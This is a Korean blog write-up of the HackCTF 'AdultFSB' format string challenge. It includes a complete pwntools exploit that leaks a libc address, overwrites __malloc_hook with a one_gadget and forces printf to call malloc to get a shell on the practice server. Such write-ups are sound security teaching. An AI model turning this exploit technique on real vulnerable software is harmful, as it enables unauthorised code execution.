Sechack

HackCTF - AdultFSB 풀이 본문

Wargame

HackCTF - AdultFSB 풀이

Sechack 2021. 5. 31. 02:04
반응형

 

간단한 fsb문제이다. 두번 fsb페이로드를 보낼 기회가 있다. 입력은 0x12C만큼 받을 수 있어서 넉넉하다. 첫번째에 leak하고 두번째에 덮으면 될것이다. 나는 전에 dCTF를 하면서 배운 printf함수의 트릭을 사용했다. printf함수는 출력할 문자가 너무 많아지면 내부 루틴에서 malloc을 호출한다는 트릭이다. malloc_hook덮고 맨뒤에 %100000c붙여주면 끝난다.

 

from pwn import *

#p = process(["./adult_fsb"], env={"LD_PRELOAD":"./libc.so.6"})
r = remote("ctf.j0n9hyun.xyz", 3040)
e = ELF("./adult_fsb")
libc = ELF("./libc.so.6")

r.send("%49$p")

leak = int(r.recv(14), 16)
libc_base = leak - libc.sym["__libc_start_main"] - 240
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0x4526a

low = one_gadget & 0xffff
middle = (one_gadget >> 16) & 0xffff
high = (one_gadget >> 32) & 0xffff

if low > middle:
    middle = (middle - low) & 0xffff
else:
    middle = middle - low

if (low + middle) > high:
    high = (high - (low + middle)) & 0xffff
else:
    high = high - (low + middle)

pay = ("%{}c".format(low)).encode()
pay += b"%14$hn"
pay += ("%{}c".format(middle)).encode()
pay += b"%15$hn"
pay += ("%{}c".format(high)).encode()
pay += b"%16$hn"
pay += b"%100000c"
pay += b"a"*(8 - (len(pay) % 8))
pay += p64(malloc_hook)
pay += p64(malloc_hook + 2)
pay += p64(malloc_hook + 4)

r.send(pay)

r.interactive()

 

 

전체 페이로드이다. 보내면 셸따인다.

 

간단해보이지만 삽질 많이한 문제이다. 왜 삽질했냐하면 일단 malloc은 printf함수 내부에서 호출이 된다. 그래서 one_gadget을 잘못 줘도 printf함수 내부에서 터지는데 이거를 fsb페이로드가 잘못되서 터진다고 생각하고 이상하게 삽질하고 있었다. one_gadget바꿔서 주니까 바로따인다...

 

 

 

셸이 따였다. 플래그 내용을 보니까 exit쪽 덮어서 익스하는거였는데 나는 printf함수 트릭을 이용해서 언인텐으로 풀었다. 플래그를 보니까 printf함수 트릭은 문제에서 의도한 방향은 아닌것 같았다.

 

플래그는 직접 풀고 얻으시길 바랍니다.

반응형

'Wargame' 카테고리의 다른 글

HackCTF - 잔상 풀이  (0) 2021.06.08
HackCTF - 나는 해귀다 풀이  (0) 2021.06.08
김민욱님이 주신 웹해킹 문제 풀이  (0) 2021.05.28
LOS - iron_golem 풀이  (0) 2021.05.22
HackCTF - 훈폰정음 풀이  (0) 2021.05.12
Comments